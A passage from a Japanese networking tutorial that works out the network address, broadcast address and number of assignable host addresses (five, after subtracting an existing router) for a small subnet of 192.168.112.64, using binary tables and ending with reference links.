IP アドレスは 192.168.112.64 なので, IP アドレスの第 4 オクテットは **64** です。
64 を 2 進数に変換すると, `0100 0000` になります。

ここで, IP アドレスとサブネットマスクを比較しましょう。

|種別|8 桁目|7 桁目|6 桁目|5 桁目|4 桁目|3 桁目|2 桁目|1 桁目|
|----|------|------|------|------|------|------|------|------|
|IP アドレス|0|1|0|0|0|0|0|0|
|サブネットマスク|1|1|1|1|1|0|0|0|

サブネットマスクの 1 桁目から 3 桁目が 0 となっていますね。
つまり, 1 桁目から 3 桁目が全部 0 の IP アドレスがネットワークアドレス。
逆に, 1 桁目から 3 桁目が全部 1 の IP アドレスがブロードキャストアドレスになります。

- ネットワークアドレスの第 4 オクテット: `0100 0000` (10 進数で 64)
- ブロードキャストアドレスの第 4 オクテット: `0100 0111` (10 進数で 71)

というわけで, ネットワークアドレスとブロードキャストアドレスはそれぞれ以下の通りになります。

- ネットワークアドレス: 192.168.112.64
- ブロードキャストアドレス: 192.168.112.71

## **割り当てることが出来る IP アドレスの数** を算出する。

ここまで来ればあと一息。

割り当てることが出来る IP アドレスの数は,
「ホスト部が全て 0 のアドレスから, ホスト部が全て 1 のアドレスまでの中で,
割り当てちゃいけないアドレスを引いたもの。」になります。
ややこしいですね。

今回の場合, ネットワークアドレスからブロードキャストアドレスまでを表にすると, 以下のようになります。

|10 進数|第 4 オクテットを2 進数にしたもの|備考|
|-------|------------------------|----|
|192.168.112.64|`0100 0000`|ネットワークアドレス (割り当て不可)|
|192.168.112.65|`0100 0001`||
|192.168.112.66|`0100 0010`||
|192.168.112.67|`0100 0011`||
|192.168.112.68|`0100 0100`||
|192.168.112.69|`0100 0101`||
|192.168.112.70|`0100 0110`||
|192.168.112.71|`0100 0111`|ブロードキャストアドレス (割り当て不可)|

192.168.112.65 から 192.168.112.70 までが割り当てられる, ということが見えるでしょうか。
そのため, 192.168.112.65 から 192.168.112.70 までの 6 つが割り当て可能な IP アドレス数,
と答えたいところですが, 罠があります。

> - **既にルーターが設置されている.** つまり, IP アドレスが 1 つ割り当てられている。

コレです。
65 から 70 の内, 既に 1 つ割り当てられてしまっています。

そのため, 最終的な答えは `6 - 1 = 5` となります。

出来れば以下の参考文献も読んでみてください。

## 参考文献

- [3 Minutes Networking](http://www5e.biglobe.ne.jp/aji/3min/)
   - [第22回 レイヤ３ クラスフルアドレッシング](http://www5e.biglobe.ne.jp/aji/3min/22.html)
   - [第23回 レイヤ３ サブネッティング](http://www5e.biglobe.ne.jp/aji/3min/23.html)

以上。